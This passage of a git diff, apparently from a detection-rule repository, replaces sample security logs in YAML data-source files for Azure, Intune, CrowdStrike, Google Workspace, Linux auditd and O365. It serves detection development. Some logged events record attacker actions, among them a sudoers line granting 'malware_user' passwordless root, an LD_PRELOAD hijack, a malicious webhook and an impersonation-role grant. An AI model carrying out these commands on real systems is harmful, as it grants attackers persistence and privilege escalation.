"/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook/events/35b9db88-8041-413e-8dd7-f8dc243eafdd/ticks/637968850422707386", "level": "Informational", "resourceGroupName": "eventhub_rg", "resourceProviderName": {"value": "Microsoft.Automation", "localizedValue": "Microsoft.Automation"}, "resourceUri": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook", "operationId": "74e18a58-ee2e-40de-890d-de0c155f7086", "operationName": {"value": "Microsoft.Automation/automationAccounts/webhooks/write", "localizedValue": "Create or Update an Azure Automation webhook"}, "properties": {"statusCode": "Created", "serviceRequestId": null, "eventCategory": "Administrative", "entity": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook", "message": "Microsoft.Automation/automationAccounts/webhooks/write", "hierarchy": "e0c00901-96b2-4151-80f7-746e24c03e98"}, "status": {"value": "Succeeded", "localizedValue": "Succeeded"}, "subStatus": {"value": "Created", "localizedValue": "Created (HTTP Status Code: 201)"}, "eventTimestamp": "2022-08-23T20:57:22.2707386Z", "submissionTimestamp": "2022-08-23T20:58:54.2071536Z", "subscriptionId": "e0c00901-96b2-4151-80f7-746e24c03e98"}' +example_log: | + {"authorization": {"action": "Microsoft.Automation/automationAccounts/webhooks/write", "scope": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook"}, "caller": "evilAdmin@contoso.com", "channels": "Operation", "claims": {"aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/ad251139-d600-4f45-a8ba-9f6ca1e5a93d/", "iat": "1661287859", "nbf": "1661287859", "exp": "1661293423", "http://schemas.microsoft.com/claims/authnclassreference": "1", "aio": "AWQAm/8TAAAAEendcgWjYQFuDhNNhoecwU3dpXjjenSsIvjamk77+TjLK/o1xkFGcFb1A+OVyuY+xefe0X39n8lx1iFWFqGo0GSNNKhm9OQcv/0UyXiaNIbKD7wisgQhAa9DoIyObMpO", "altsecid": "1:contoso.com:000161008492EF5F", "http://schemas.microsoft.com/claims/authnmethodsreferences": "pwd,mfa", "appid": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", "appidacr": "2", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "evilAdmin@contosol.com", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname": "Doe", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname": "John", "groups": "ecb1fc87-1938-45ff-aaf3-661cee183b11", "http://schemas.microsoft.com/identity/claims/identityprovider": "contoso.com", "ipaddr": "190.0.0.1", "name": "John Doe", "http://schemas.microsoft.com/identity/claims/objectidentifier": "74b87c49-c202-4101-a8aa-ef18ecc815e8", "puid": "1003200203ECE231", "rh": "0.AX0AORElrQDWRU-oup9soeWpPUZIf3kAutdPukPawfj2MBOaAIM.", "http://schemas.microsoft.com/identity/claims/scope": "user_impersonation", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "VVjyH6MJP7pqXTBGCn4NMckGNjX-aYB_Oh7LcI9kaDw", "http://schemas.microsoft.com/identity/claims/tenantid": "ad251139-d600-4f45-a8ba-9f6ca1e5a93d", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "contoso.com#evilAdmin@contoso.com", "uti": "epgtY-85CUeb6aJpaE0KAQ", "ver": "1.0", "wids": "62e90394-69f5-4237-9190-012177145e10", "xms_tcdt": "1654791641"}, "correlationId": "74e18a58-ee2e-40de-890d-de0c155f7086", "description": "", "eventDataId": "35b9db88-8041-413e-8dd7-f8dc243eafdd", "eventName": {"value": "EndRequest", "localizedValue": "End request"}, "eventSource": {"value": "Administrative", "localizedValue": "Administrative"}, "httpRequest": {"clientRequestId": "6934b40a-c11f-4379-9ef1-c6fa3cee5015", "clientIpAddress": "190.0.0.1", "method": "PUT"}, "id": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook/events/35b9db88-8041-413e-8dd7-f8dc243eafdd/ticks/637968850422707386", "level": "Informational", "resourceGroupName": "eventhub_rg", "resourceProviderName": {"value": "Microsoft.Automation", "localizedValue": "Microsoft.Automation"}, "resourceUri": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook", "operationId": "74e18a58-ee2e-40de-890d-de0c155f7086", "operationName": {"value": "Microsoft.Automation/automationAccounts/webhooks/write", "localizedValue": "Create or Update an Azure Automation webhook"}, "properties": {"statusCode": "Created", "serviceRequestId": null, "eventCategory": "Administrative", "entity": "/subscriptions/e0c00901-96b2-4151-80f7-746e24c03e98/resourceGroups/resourceGroup1providers/Microsoft.Automation/automationAccounts/SuspiciousAutomationAccount/webhooks/MaliciousWebHook", "message": "Microsoft.Automation/automationAccounts/webhooks/write", "hierarchy": "e0c00901-96b2-4151-80f7-746e24c03e98"}, "status": {"value": "Succeeded", "localizedValue": "Succeeded"}, "subStatus": {"value": "Created", "localizedValue": "Created (HTTP Status Code: 201)"}, "eventTimestamp": "2022-08-23T20:57:22.2707386Z", "submissionTimestamp": "2022-08-23T20:58:54.2071536Z", "subscriptionId": "e0c00901-96b2-4151-80f7-746e24c03e98"} diff --git a/data_sources/azure_monitor_activity.yml b/data_sources/azure_monitor_activity.yml index 73bae91e0d..80b007b034 100644 --- a/data_sources/azure_monitor_activity.yml +++ b/data_sources/azure_monitor_activity.yml @@ -77,4 +77,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"time": "2024-04-29T13:30:28.8622000Z", "tenantId": "26db52ee-c1b5-4c96-a0d4-129e25dc0388", "category": "AuditLogs", "operationName": "createDeviceHealthScript DeviceHealthScript", "properties": {"ActivityDate": "4/29/2024 1:30:28 PM", "ActivityResultStatus": 1, "ActivityType": 0, "Actor": {"ActorType": 1, "Application": "5926fc8e-304e-4f59-8bed-58ca97cc39a4", "ApplicationName": "Microsoft Intune portal extension", "IsDelegatedAdmin": false, "Name": null, "ObjectId": "cf2ef473-7d3b-4f14-961c-2e470e9a70f2", "PartnerTenantId": "00000000-0000-0000-0000-000000000000", "UserPermissions": ["*"], "UPN": "brian.cove@frothlydev.onmicrosoft.com"}, "AdditionalDetails": "", "AuditEventId": "3e7e790e-f15a-4c2c-a91a-516483bb4e37", "Category": 3, "RelationId": null, "TargetDisplayNames": [""], "TargetObjectIds": ["b16fcad4-b9f5-46fe-9bf0-841cd9be7bc9"], "Targets": [{"ModifiedProperties": [{"Name": "DeviceManagementAPIVersion", "Old": null, "New": "5024-02-13"}], "Name": null}]}, "resultType": "Success", "resultDescription": "None", "correlationId": "949ac544-b4e5-4576-a117-915c47c0ee00", "identity": "brian.cove@frothlydev.onmicrosoft.com"}' +example_log: | + {"time": "2026-03-29T00:17:39.9903000Z", "tenantId": "32c6bdec-b3a3-4cec-a0ca-1df92bb99b5b", "category": "AuditLogs", "operationName": "wipe ManagedDevice", "properties": {"ActivityDate": "3/29/2026 12:17:39 AM", "ActivityResultStatus": 1, "ActivityType": 3, "Actor": {"ActorType": 1, "Application": "5926fc8e-304e-4f59-8bed-58ca97cc39a4", "ApplicationName": "Microsoft Intune portal extension", "IsDelegatedAdmin": false, "Name": null, "ObjectId": "f575e540-cc95-4422-8b09-0b275d214c68", "PartnerTenantId": "00000000-0000-0000-0000-000000000000", "UserPermissions": ["*"], "UPN": "bob@contoso.com"}, "AdditionalDetails": "", "AuditEventId": "1f252c59-e344-4844-8a15-1feda5e87466", "Category": 4, "RelationId": null, "TargetDisplayNames": ["wipe"], "TargetObjectIds": ["7a2db475-9dfd-4c42-9b46-464f9f8f8025"], "Targets": [{"ModifiedProperties": [{"Name": "keepEnrollmentData", "Old": null, "New": "False"}, {"Name": "AzureADDeviceId", "Old": null, "New": "4b652e2d-8015-4e7c-8263-f6ae89eda0d2"}, {"Name": "DeviceManagementAPIVersion", "Old": null, "New": "5025-10-23"}], "Name": "wipe"}]}, "resultType": "Success", "resultDescription": "None", "correlationId": "5b275c2d-4de1-447e-83eb-f132acf027f8", "identity": "bob@contoso.com"} diff --git a/data_sources/crowdstrike_falcon_stream_alert.yml b/data_sources/crowdstrike_falcon_stream_alert.yml index 7792668d2e..12fd5f91a7 100644 --- a/data_sources/crowdstrike_falcon_stream_alert.yml +++ b/data_sources/crowdstrike_falcon_stream_alert.yml @@ -138,5 +138,4 @@ output_fields: - file_name - Name example_log: | - {"metadata": {"customerIDString": "3061c7ff3b634e22b38274d4b586558e", "offset": 12570031, "eventType": "DetectionSummaryEvent", "eventCreationTime": 1748883058001, "version": "1.0"}, "event": {"ProcessStartTime": 1748883033, "ProcessEndTime": 1748883033, "ProcessId": 25482595567828, "ParentProcessId": 25482588177316, "ComputerName": "CROWDFAL1", "UserName": "Administrator", "DetectName": "Suspicious Activity", "DetectDescription": "For evaluation only - benign, no action needed.", "Severity": 2, "SeverityName": "Low", "FileName": "choice.exe", "FilePath": "\\Device\\HarddiskVolume2\\Windows\\System32", "CommandLine": "choice /m crowdstrike_sample_detection", "SHA256String": "df8085fb7d979c644a751804ed6bd3b74b26ce682291b5e5ede4c76eca599e7e", "MD5String": "ed5fc58ec99a058ce9b7bb1ee3a96a8e", "SHA1String": "0000000000000000000000000000000000000000", "MachineDomain": "CROWDFAL1", "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/12e75112bdc44ac7a60b5ad1d2765303/10907785292170?_cid=g03000lcf73zmc2nbaploaxbwbj4zvsu", "SensorId": "12e75112bdc44ac7a60b5ad1d2765303", "DetectId": "ldt:12e75112bdc44ac7a60b5ad1d2765303:10907785292170", "LocalIP": "10.1.17.3", "MACAddress": "00-50-56-aa-64-1f", "Tactic": "Malware", "Technique": "Malicious File", "Objective": "Falcon Detection Method", "PatternDispositionDescription": "Detection, standard detection.", "PatternDispositionValue": 0, "PatternDispositionFlags": {"Indicator": false, "Detect": false, "InddetMask": false, "SensorOnly": false, "Rooting": false, "KillProcess": false, "KillSubProcess": false, "QuarantineMachine": false, "QuarantineFile": false, "PolicyDisabled": false, "KillParent": false, "OperationBlocked": false, "ProcessBlocked": false, "RegistryOperationBlocked": false, "CriticalProcessDisabled": false, "BootupSafeguardEnabled": false, "FsOperationBlocked": false, "HandleOperationDowngraded": false, "KillActionFailed": false, "BlockingUnsupportedOrDisabled": false, "SuspendProcess": false, "SuspendParent": false}, "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\cmd.exe", "ParentCommandLine": "C:\\Windows\\SYSTEM32\\cmd.exe /c \"\"C:\\CS_Script.bat\"\"", "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\svchost.exe", "GrandparentCommandLine": "C:\\Windows\\system32\\svchost.exe -k netsvcs", "HostGroups": "0ebde3fe33d547fc9bbe24f50be44da8,fd63f5073f644377a8150e9c1e5a86d0", "PatternId": 10197}, "ta_data": {"Feed_id": "0", "Multiple_feeds": "False", "Cloud_environment": "us_commercial", "TA_version": "3.5.0", "Input": "crwd_events", "App_id": "s2_pl", "Event_types": "['All']", "Initial_start": "historic"}} - + {"metadata": {"customerIDString": "3061c7ff3b634e22b38274d4b586558e", "offset": 15832103, "eventType": "XdrDetectionSummaryEvent", "eventCreationTime": 1769785678000, "version": "1.0"}, "event": {"Name": "Incident rule", "Description": "Making incidents", "PatternId": 100010, "StartTimeEpoch": 1769702707146, "EndTimeEpoch": 1769785616007, "Severity": 30, "SourceProducts": "Falcon", "SourceVendors": "CrowdStrike", "DataDomains": "Endpoint", "Author": "CorrelationRule", "XdrType": "xdr-scheduled-search", "ScheduledSearchId": "bb1f2a9e0fd34c2794f4e84ae6bf904f", "ScheduledSearchExecutionId": "2463f62488fe4d3a953507f83514eaca", "ScheduledSearchUserUUID": "c59a4ab7-e679-4c9c-ab20-05730ba369e0", "ScheduledSearchUserId": "phantomlab@splunk.com", "IPv4Addresses": "10.1.17.4", "HostNames": "CROWDFAL2", "SHA256Hashes": "df8085fb7d979c644a751804ed6bd3b74b26ce682291b5e5ede4c76eca599e7e", "MD5Hashes": "ed5fc58ec99a058ce9b7bb1ee3a96a8e", "SensorIds": "9a58cd4397bb4a2abadf0189e36ab0e7", "CompositeId": "3061c7ff3b634e22b38274d4b586558e:ind:3061c7ff3b634e22b38274d4b586558e:xdr|2463f62488fe4d3a953507f83514eaca-ffb6e76c9f2e42b4a8c1b997091b90e0"}, "ta_data": {"Feed_id": "0", "Multiple_feeds": "False", "Cloud_environment": "us_commercial", "TA_version": "3.6.5", "Input": "crwd_events", "App_id": "s2_pl", "Event_types": "['All']", "Initial_start": "historic"}} diff --git a/data_sources/g_suite_gmail.yml b/data_sources/g_suite_gmail.yml index 0f31d3165d..c86a5f183a 100644 --- a/data_sources/g_suite_gmail.yml +++ b/data_sources/g_suite_gmail.yml @@ -85,4 +85,5 @@ fields: - tag::eventtype - timestamp - upload_error_category -example_log: '{"action_type": 10, "rfc2822_message_id": "", "subject": "New Order DHL0000001 - Dummy email for Detection Development", "payload_size": 6733, "source": {"address": "john@external_test_email.com", "service": "gmail-for-work", "selector": "policy", "from_header_address": "john@external_test_email.com", "from_header_displayname": "john smith"}, "destination": [{"address": "peter@internal_test_email.com", "service": "smtp-outbound", "selector": "gmail-for-work", "smime_signature_verification_success": null, "smime_decryption_success": null, "smime_parsing_success": null, "smime_extraction_success": null, "rcpt_response": null}], "flattened_destinations": "smtp-outbound:gmail-for-work:peter@internal_test_email.com", "description": "", "connection_info": {"client_ip": "null", "smtp_in_connect_ip": null, "smtp_out_connect_ip": "null", "failed_smtp_out_connect_ip": [], "smtp_tls_state": 1, "smtp_reply_code": 250, "tls_required_but_unavailable": false, "smtp_out_remote_host": "internal_test_app.com", "smtp_user_agent_ip": "null", "is_intra_domain": false, "dmarc_pass": null, "dmarc_published_domain": null, "client_host_zone": null, "smtp_response_reason": null, "ip_geo_city": null, "ip_geo_country": null, "authenticated_domain": [{"name": "internal_test_email.com", "type": 2}, {"name": "internal_test_email.com", "type": 6}, {"name": "internal_test_email.com", "type": 1}], "is_internal": false, "dkim_pass": true, "spf_pass": true, "smtp_tls_version": "TLSv9.9", "smtp_tls_cipher": "TLS_AES"}, "is_spam": null, "is_policy_check_for_sender": false, "num_message_attachments": 1, "message_set": [{"type": 57}, {"type": 9}, {"type": 22}, {"type": 15}, {"type": 48}, {"type": 27}, {"type": 10}, {"type": 50}, {"type": 51}, {"type": 46}, {"type": 61}, {"type": 44}], "smtp_relay_error": null, "upload_error_category": null, "structured_policy_log_info": null, "triggered_rule_info": [], "flattened_triggered_rule_info": null, "smime_sign_message": null, "smime_encrypt_message": null, "smime_packaging_success": null, "smime_extraction_success": null, "smime_content_type": null, "link_domain": [], "attachment": [{"sha256": "1111111111111111111111111111111111111111111111111111111111111111", "file_extension_type": "zip", "malware_family": null}], "spam_info": null, "timestamp": 1629378633.802384}' +example_log: | + {"action_type": 2, "rfc2822_message_id": "", "subject": "test email dev", "payload_size": 43826, "source": {"address": "juan@internal_test_email.com", "service": "gmail-ui", "selector": "send", "from_header_address": "juan@internal_test_email.com", "from_header_displayname": "Events Test2"}, "destination": [{"address": "pepe@external_test_email.com", "service": "smtp-outbound", "selector": "gmail-for-work", "smime_signature_verification_success": null, "smime_decryption_success": null, "smime_parsing_success": null, "smime_extraction_success": null, "rcpt_response": null}], "flattened_destinations": "smtp-outbound:gmail-for-work:pepe@external_test_email.com", "description": null, "connection_info": {"client_ip": "null", "smtp_in_connect_ip": null, "smtp_out_connect_ip": null, "failed_smtp_out_connect_ip": [], "smtp_tls_state": null, "smtp_reply_code": 0, "tls_required_but_unavailable": null, "smtp_out_remote_host": null, "smtp_user_agent_ip": null, "is_intra_domain": true, "dmarc_pass": null, "dmarc_published_domain": null, "client_host_zone": null, "smtp_response_reason": null, "ip_geo_city": null, "ip_geo_country": null, "authenticated_domain": [], "is_internal": true, "dkim_pass": false, "spf_pass": false, "smtp_tls_version": null, "smtp_tls_cipher": null}, "is_spam": null, "is_policy_check_for_sender": true, "num_message_attachments": 1, "message_set": [{"type": 8}, {"type": 27}, {"type": 15}, {"type": 10}, {"type": 44}], "smtp_relay_error": null, "upload_error_category": null, "structured_policy_log_info": null, "triggered_rule_info": [], "flattened_triggered_rule_info": null, "smime_sign_message": null, "smime_encrypt_message": null, "smime_packaging_success": null, "smime_extraction_success": null, "smime_content_type": 0, "link_domain": [], "attachment": [{"sha256": "1111111111111111111111111111111111111111111111111111111111111111", "file_extension_type": "doc", "malware_family": null}], "spam_info": null, "timestamp": 1629290144.338942} diff --git a/data_sources/google_workspace.yml b/data_sources/google_workspace.yml index 4b15ca4876..a55a0029b8 100644 --- a/data_sources/google_workspace.yml +++ b/data_sources/google_workspace.yml @@ -45,4 +45,5 @@ fields: - splunk_server - timeendpos - timestartpos -example_log: '"kind": "admin#reports#activity", "id": {"time": "2022-10-12T18:00:23.093Z", "uniqueQualifier": "-7844406841853338111", "applicationName": "admin", "customerId": "C046r85ir"}, "etag": "\"JCPRxFaiNR1s5TJ6ecIH8OpGdY4efiOYXbIB65itOzY/afZBU3WDeiuPqFyleWyTnwyU3fE\"", "actor": {"callerType": "USER", "email": "evil_admin@splunkresearch.com", "profileId": "100059258581444193973"}, "ipAddress": "22.33.111.55", "event": {"type": "USER_SETTINGS", "name": "UNENROLL_USER_FROM_STRONG_AUTH", "parameters": [{"name": "USER_EMAIL", "value": "victim_user@splunkresearch.com"}]}}' +example_log: | + {"kind": "admin#reports#activity", "id": {"time": "2022-10-13T20:57:35.833Z", "uniqueQualifier": "437744618349", "applicationName": "login", "customerId": "C046r85ir"}, "etag": "\"JCPRxFaiNR1s5TJ6ecIH8OpGdY4efiOYXbIB65itOzY/OgAbD-Tz8hSD1vUJWw7NLiJ5SF4\"", "actor": {"email": "user1@splunkresearch.com", "profileId": "112184723778873345717"}, "ipAddress": "45.23.129.123", "event": {"type": "login", "name": "login_success", "parameters": [{"name": "login_type", "value": "google_password"}, {"name": "login_challenge_method", "multiValue": ["password", "password", "password", "password", "password"]}, {"name": "is_suspicious", "boolValue": false}]}} diff --git a/data_sources/linux_auditd_add_user.yml b/data_sources/linux_auditd_add_user.yml index 4328f9e619..b93581d448 100644 --- a/data_sources/linux_auditd_add_user.yml +++ b/data_sources/linux_auditd_add_user.yml @@ -58,4 +58,6 @@ fields: - type - UID - uid -example_log: 'type=ADD_USER msg=audit(1722950859.266:6994): pid=1788 uid=0 auid=1000 ses=1 subj=unconfined msg=''op=adding user id=1002 exe="/usr/sbin/useradd" hostname=ar-linux1 addr=? terminal=pts/1 res=success''UID="root" AUID="ubuntu" ID="unknown(1002)"' +example_log: | + type=ADD_USER msg=audit(1722950859.266:6994): pid=1788 uid=0 auid=1000 ses=1 subj=unconfined msg='op=adding user id=1002 exe="/usr/sbin/useradd" hostname=ar-linux1 addr=? terminal=pts/1 res=success' + UID="root" AUID="ubuntu" ID="unknown(1002)" diff --git a/data_sources/linux_auditd_cwd.yml b/data_sources/linux_auditd_cwd.yml index 076ff65b06..ef8068eb7e 100644 --- a/data_sources/linux_auditd_cwd.yml +++ b/data_sources/linux_auditd_cwd.yml @@ -39,4 +39,5 @@ fields: - timeendpos - timestartpos - type -example_log: 'type=CWD msg=audit(11/20/2025 16:57:48.909:110027) : cwd=/etc/ssh' +example_log: | + type=CWD msg=audit(11/24/2025 14:48:16.990:118) : cwd=/ diff --git a/data_sources/linux_auditd_daemon_abort.yml b/data_sources/linux_auditd_daemon_abort.yml index c5f07997dd..5aa7d0e2a3 100644 --- a/data_sources/linux_auditd_daemon_abort.yml +++ b/data_sources/linux_auditd_daemon_abort.yml @@ -57,4 +57,5 @@ output_fields: - pid - uid - dest -example_log: 'type=DAEMON_ABORT msg=audit(06/05/2025 11:03:38.453:6845) : op=set-pid auid=unset pid=61314 uid=root ses=unset subj=unconfined res=failed' +example_log: | + type=DAEMON_ABORT msg=audit(06/05/2025 11:03:38.950:6845) : op=set-pid auid=unset pid=61323 uid=root ses=unset subj=unconfined res=failed diff --git a/data_sources/linux_auditd_daemon_end.yml b/data_sources/linux_auditd_daemon_end.yml index 180359b4f5..8d4da5e77c 100644 --- a/data_sources/linux_auditd_daemon_end.yml +++ b/data_sources/linux_auditd_daemon_end.yml @@ -55,4 +55,5 @@ output_fields: - pid - uid - dest -example_log: 'type=DAEMON_END msg=audit(06/05/2025 11:01:46.838:9436) : op=terminate auid=root pid=1 subj=unconfined res=success' +example_log: | + type=DAEMON_END msg=audit(06/05/2025 11:01:46.838:9436) : op=terminate auid=root pid=1 subj=unconfined res=success diff --git a/data_sources/linux_auditd_daemon_start.yml b/data_sources/linux_auditd_daemon_start.yml index 933980ca35..13d96e9f81 100644 --- a/data_sources/linux_auditd_daemon_start.yml +++ b/data_sources/linux_auditd_daemon_start.yml @@ -60,4 +60,5 @@ output_fields: - pid - uid - dest -example_log: 'type=DAEMON_START msg=audit(06/05/2025 11:03:38.949:6844) : op=start ver=3.0.7 format=enriched kernel=6.8.0-1029-aws auid=unset pid=61323 uid=root ses=unset subj=unconfined res=success' +example_log: | + type=DAEMON_START msg=audit(06/05/2025 11:03:38.949:6844) : op=start ver=3.0.7 format=enriched kernel=6.8.0-1029-aws auid=unset pid=61323 uid=root ses=unset subj=unconfined res=success diff --git a/data_sources/linux_auditd_execve.yml b/data_sources/linux_auditd_execve.yml index 1bca6822e7..d5aa6954d8 100644 --- a/data_sources/linux_auditd_execve.yml +++ b/data_sources/linux_auditd_execve.yml @@ -49,4 +49,5 @@ fields: - timeendpos - timestartpos - type -example_log: 'type=EXECVE msg=audit(1723044684.257:15795): argc=3 a0="sudo" a1="LD_PRELOAD=./myfopen.so" a2="./prog"' +example_log: | + type=EXECVE msg=audit(02/20/2025 11:02:58.146:94942): argc=2 a0=touch a1=./.hide_this_data.txt diff --git a/data_sources/linux_auditd_path.yml b/data_sources/linux_auditd_path.yml index 51b8015df4..25cfe79e88 100644 --- a/data_sources/linux_auditd_path.yml +++ b/data_sources/linux_auditd_path.yml @@ -58,4 +58,5 @@ fields: - timeendpos - timestartpos - type -example_log: 'type=PATH msg=audit(1723043687.149:14898): item=1 name="/etc/ssh/ssh_config~" inode=1292 dev=103:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=DELETE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 OUID="root" OGID="root"' +example_log: | + type=PATH msg=audit(11/24/2025 14:48:16.990:118) : item=0 name=/etc/sudoers.d inode=1007 dev=103:01 mode=dir,750 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0 diff --git a/data_sources/linux_auditd_proctitle.yml b/data_sources/linux_auditd_proctitle.yml index a655e86cba..895256a4ed 100644 --- a/data_sources/linux_auditd_proctitle.yml +++ b/data_sources/linux_auditd_proctitle.yml @@ -47,4 +47,5 @@ fields: - timeendpos - timestartpos - type -example_log: 'type=PROCTITLE msg=audit(1722944427.844:4146): proctitle=63686D6F640037373700312E7368' +example_log: | + type=PROCTITLE msg=audit(02/20/2025 10:42:55.725:93710): proctitle=echo malware_user ALL=(ALL) NOPASSWD: ALL diff --git a/data_sources/linux_auditd_service_stop.yml b/data_sources/linux_auditd_service_stop.yml index c6ebd82f72..ffaf15abc1 100644 --- a/data_sources/linux_auditd_service_stop.yml +++ b/data_sources/linux_auditd_service_stop.yml @@ -57,4 +57,6 @@ fields: - UID - uid - unit -example_log: 'type=SERVICE_STOP msg=audit(1722957155.494:4802): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg=''unit=atd comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success''UID="root" AUID="unset"' +example_log: | + type=SERVICE_STOP msg=audit(1722965483.442:15704): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='unit=firewalld comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' + UID="root" AUID="unset" diff --git a/data_sources/linux_secure.yml b/data_sources/linux_secure.yml index 51d90a0c45..c1b479db0d 100644 --- a/data_sources/linux_secure.yml +++ b/data_sources/linux_secure.yml @@ -59,4 +59,5 @@ fields: - user_name - vendor_action - vendor_product -example_log: 'May 27 09:28:36 ip-172-31-24-46 sshd[5617]: Accepted password for mikael from 84.202.159.161 port 63487 ssh2' +example_log: | + May 27 09:28:36 ip-172-31-24-46 sshd[5617]: Accepted password for mikael from 84.202.159.161 port 63487 ssh2 diff --git a/data_sources/m365_copilot_graph_api.yml b/data_sources/m365_copilot_graph_api.yml index a18963dc94..762ef3e972 100644 --- a/data_sources/m365_copilot_graph_api.yml +++ b/data_sources/m365_copilot_graph_api.yml @@ -88,4 +88,5 @@ fields: - Yammer Posted Message Count - Yammer Read Message Count output_fields: [] -example_log: '{"id": "7fbc0a97-7f78-4cc8-9377-dc94d2ad1e00", "createdDateTime": "2025-09-30T12:34:20Z", "userDisplayName": "Rod Soto", "userPrincipalName": "rodsoto@rodsoto.onmicrosoft.com", "userId": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "appId": "9199bf20-a13f-4107-85dc-02114787ef48", "appDisplayName": "One Outlook Web", "ipAddress": "127.0.0.1", "clientAppUsed": "Browser", "correlationId": "8fe7aa9b-42c8-b52e-c6f2-8e4dfc07996b", "conditionalAccessStatus": "notApplied", "isInteractive": true, "riskDetail": "none", "riskLevelAggregated": "none", "riskLevelDuringSignIn": "none", "riskState": "none", "riskEventTypes": [], "riskEventTypes_v2": [], "resourceDisplayName": "Office 365 Exchange Online", "resourceId": "00000002-0000-0ff1-ce00-000000000000", "status": {"errorCode": 0, "failureReason": "Other.", "additionalDetails": "MFA requirement satisfied by claim in the token"}, "deviceDetail": {"deviceId": "", "displayName": "", "operatingSystem": "MacOs", "browser": "Chrome 140.0.0", "isCompliant": false, "isManaged": false, "trustType": ""}, "location": {"city": "Miami", "state": "Florida", "countryOrRegion": "US", "geoCoordinates": {"altitude": null, "latitude": 25.76286, "longitude": -80.31196}}, "appliedConditionalAccessPolicies": []}' +example_log: | + {"Report Refresh Date": "2025-08-18", "Group Display Name": "7D3654B07E126BBD0D18174368FC243F", "Is Deleted": "False", "Owner Principal Name": "", "Last Activity Date": "", "Group Type": "Public", "Member Count": "0", "External Member Count": "0", "Exchange Received Email Count": "", "SharePoint Active File Count": "", "Yammer Posted Message Count": "", "Yammer Read Message Count": "", "Yammer Liked Message Count": "", "Exchange Mailbox Total Item Count": "7", "Exchange Mailbox Storage Used (Byte)": "259147", "SharePoint Total File Count": "0", "SharePoint Site Storage Used (Byte)": "0", "Group Id": "00000000-0000-0000-0000-000000000000", "Report Period": "1", "timestamp": "2025-08-20T11:30:37Z"} diff --git a/data_sources/o365.yml b/data_sources/o365.yml index 5e107d02d0..3c80645195 100644 --- a/data_sources/o365.yml +++ b/data_sources/o365.yml @@ -93,3 +93,6 @@ supported_TA: - name: Splunk Add-on for Microsoft Office 365 url: https://splunkbase.splunk.com/app/4055 version: 6.1.1 + +example_log: | + {"AppAccessContext": {"IssuedAtTime": "2023-10-17T19:13:05", "UniqueTokenId": "g7oAmNhLoU-8qJVeWeAwAA"}, "CreationTime": "2023-10-17T19:19:59", "Id": "3d26a8cd-d8f4-42f9-1898-08dbcf460e5a", "Operation": "New-ManagementRoleAssignment", "OrganizationId": "aeb12f6b-1ff3-4a18-9ea2-29aa57e2ae08", "RecordType": 1, "ResultStatus": "True", "UserKey": "1003BFFD98415B4E", "UserType": 2, "Version": 1, "Workload": "Exchange", "ClientIP": "71.1.1.1:61528", "ObjectId": "splunkresearch.onmicrosoft.com\\attack-test", "UserId": "compromisedAdmin@splunkresearch.onmicrosoft.com", "AppId": "fb78d390-0c51-40cd-8e17-fdbfab77341b", "ClientAppId": "", "ExternalAccess": false, "OrganizationName": "splunkresearch.onmicrosoft.com", "OriginatingServer": "BYAPR18MB2408 (15.20.6863.047)", "Parameters": [{"Name": "User", "Value": "lowpriv@splunkresearch.onmicrosoft.com"}, {"Name": "Name", "Value": "attack-test"}, {"Name": "Role", "Value": "ApplicationImpersonation"}], "RequestId": "53a50583-e429-63a4-c9f7-8fbb14437e8a", "SessionId": "e2a028f1-d0e1-4ddb-a5a7-ec57343457ad"} diff --git a/data_sources/o365_add_app_role_assignment_grant_to_user_.yml b/data_sources/o365_add_app_role_assignment_grant_to_user_.yml index c21a7838fe..a9a1778a5e 100644 --- a/data_sources/o365_add_app_role_assignment_grant_to_user_.yml +++ b/data_sources/o365_add_app_role_assignment_grant_to_user_.yml @@ -93,4 +93,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"Actor": [{"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "10037FFEA938FB92", "Type": 3}, {"ID": "74658136-14ec-4630-ad9b-26e160ff0fc6", "Type": 2}, {"ID": "User_bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "40.124.84.4", "AzureActiveDirectoryEventType": 1, "ClientIP": 